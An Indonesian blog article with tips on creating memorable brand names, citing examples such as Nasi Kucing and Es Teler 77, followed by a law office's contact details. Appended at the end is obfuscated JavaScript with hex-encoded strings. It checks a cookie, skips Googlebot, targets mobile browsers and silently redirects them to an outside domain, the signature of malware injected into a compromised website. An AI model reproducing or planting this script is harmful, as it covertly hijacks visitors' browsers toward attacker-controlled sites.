Trik Dalam Membuat Nama Brand atau Merek yang Langsung Bisa bikin Booming. Salah satu aspek penting dalam pemasaran salah satunya terkait denga nama brand, oleh sebab itu sangatlah penting bagi seorang wirausaha memiliki brand yang booming atau banyak dikenal publik. Membuat sebuah nama brand yang bagus itu sangat penting karna Nama brand atau merek adalah investasi awal yang sangat menentukan keberhasilan pemasaran sebuah produk. Selain kualitas produk yang bagus, nama brand adalah kunci awalnya untuk meraih suksesnya pemasaran produk.
Salah satu sample pentingnya brand yang mampu menghipnotis sesorang untuk mengingat brand tersebut diantaranya : Brand pizza hut, tak sedikit kita bisa menjumpai pizza yang mana rasanya lebih nikmat dan lezat namun bagi kebanyakan orang apapun merk pizzanya tetap yang menancap dalam pikirannya adalah pizza hut. Satu lagi sampel jika kebanyakan orang menyebut sepeda motor pasti mereka menyebut Honda padahal belum tentu sepeda motor itu ber merk honda, bisa yamaha atau lainnya. Brand tersebut bisa booming karna adanya trik dalam membuat nama brand atau merk yang dilakukan oleh pemiliknya.
Lalu seperti apasih Trik Dalam Membuat Nama Brand atau Merek yang Langsung Bisa bikin Booming. Berikut beberapa trik atau jurus yang bisa anda jadikan refrensi dalam membuat atau memilih nama brand yang bisa nancep diingat dengan baik di ingatan orang-orang.
Nama Brand Aneh atau Nyeleneh!
Sangatlah penting kita membuat nama brand yang nyleneh hal tersebut bisa mengundang rasa penasaran bagi konsumen, seperti contohnya:
Nasi Kucing siapa sih yang tak kenal dengan nama nasi kucing?? Kota yogyakata yang membuat nama nasi kucing itu terkenal. Dengan dinamakan nasi kucing karna porsinya sangat sedikit dan biasanya menggunakan lauk ikan yang sedikit pula seperti porsi untuk kasih makan kucing oleh karna itu dinamakan nasi kucing.
Rawon Setan, Meskipun belum semua orang pernah tau makanan itu asalmulanya dari mana dan belum pernah mencicipinya, tapi nama produknya itu sudah booming karena keunikan dan nylenehnya.
Tidak harus sesuatu yang berkonotasi negatif yang disebut nyeleneh. Masih ada banyak nama produk yang nyleneh yang bisa kita jadikan inspirasi lainnya selain sample diatas seperti kue Satu, tahu Gimbal Semarang dan masih banyak lainnya.
Brand atau Merk Produk Sesuai Target Pasarnya
Trik selanjutnya dalam memilih nama produk dengan cara menyesuaikan nama brand dengan pasar yang anda bidik. Langkah awalnya kita harus menganalilis pangsa pasar dengan memperoleh info siapa target kita dan apa yang mereka sukai.
Misalnya, jika kita ingin membuka usaha salon langkah awal kita analisis dulu siapakah pangsa pasarnya misal dengan quisioner siapakah yang biasa suka ke salon apakah bapak2, ibu ibu, anak2 atau cewek dan masih remaja.
Dan setelah kita tau targetnya misal: Perempuan Muda dan Feminim misalkan dengan Nama Salon Earlyta (yang berarti cantik jelita) akan lebih cocok dibanding Salon Bagoes karna emang pangsa pasarnya adalah cewek.
Nama Brand Terasosiasi oleh Differensasi
Dalam menciptakan nama brand salah satu triknya diantaranya memiliki pembeda atau ciri khas tersendiri dari produk pesaingnya. Dimana ketika mendengar merek yang anda ciptakan, orang langsung ‘ngeh’ tentang perbedaan dan sesuatu yang spesial dari produk anda. Sebagai contoh: “Oseng Mercon”, Kuch Kuch Hot Tahu nama ini membedakan dari produk lainnya karna mengamat sangatkan dengan kelebihannya yaitu memiliki rasa yang begitu pedas. Selain itu misalnya Krupuk Mlarat nama brand yang begitu unik tapi sudah booming karna nama produk ini beda dengan krupuk lainnya yang biasanya digoreng dengan minyak. Tapi krupuk mlarat ini digoreng tanpa minyak namun pembeda tersebut menjadikan nama brand ini juga melejit.
Hindari Nama Brand yang Digabung dengan Angka dan Singakatan Konsonan
Nama brand yang menggunakan tambahan angka lebih sulit diingat dan juga orang akan sedikit bingung perbedaan mengenai produknya. Seperti contohnya bakpia Kurnia akan lebih sangat booming dibanding Bakpia Patok 75,25,625 Selain susah dikenal nama yang ditambah angka akan susah membedakan dan produk mana yang paling unggul karna banyaknya nama sejenis yang hampir sama.
Beda halnya dengan nama brand Es Teler77 kok tetap booming dan jadi nomor Iya, karena nama brand itu tidak punya saingan yang setara seperti bakpia patok diatas.
Dalam hal singkatan konsonan Selain sukar diingat, singkatan konsonan juga sukar terasosiasi oleh produknya. Misal disuruh beli Nama Produk BDC Ternyata setelah sampai ditoko ada banyak piliham produk serupa BBC atau DDC bingungkan kalau susah diingat? Contoh lain brand yang tidak ada pengulangan gabungan konsonan yaitu coca cola yaitu terdisi vokal dan konsonan.
Nama Brand Mudah Diucap dan Diingat
Nama Brand yang mudah diingat apalagi unik dan menarik akan menjadikan produk tersebut lebih unggul dan lebih mudah dikenal publik.
Salah satu nama brand yang mudah diingat itu dapat berupa nama brand yang terdiri dari 2 sampai 4 suku kata yang tidak bertabrakan 2-3 konsonan bersamaan. Sebagai sampel jika ada nama produk sabun colek merk dangdut dan ada merk lain ailu aileva erata tentunya kita lebih familier dan lebih mudah mengingatnya yang sabun merk dangdut kan?
sumber : https://radarjawa.com/6245/2017/03/04/trik-dalam-membuat-nama-brand-atau-merek-yang-langsung-bisa-bikin-booming/
PENGACARA MUSLIM “Solusi Islami’
Telp : (0274) 6411320
PH/WA : 087838902766
BBM : 54393F39
Email : lawoffice251@gmail.com
Website: www.pengacaramuslim.com
alamat kami:
Jl. Monjali (Nyi Tjondroloekito) No. 251,
Sinduadi, Mlati, Sleman – Yogyakarta
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}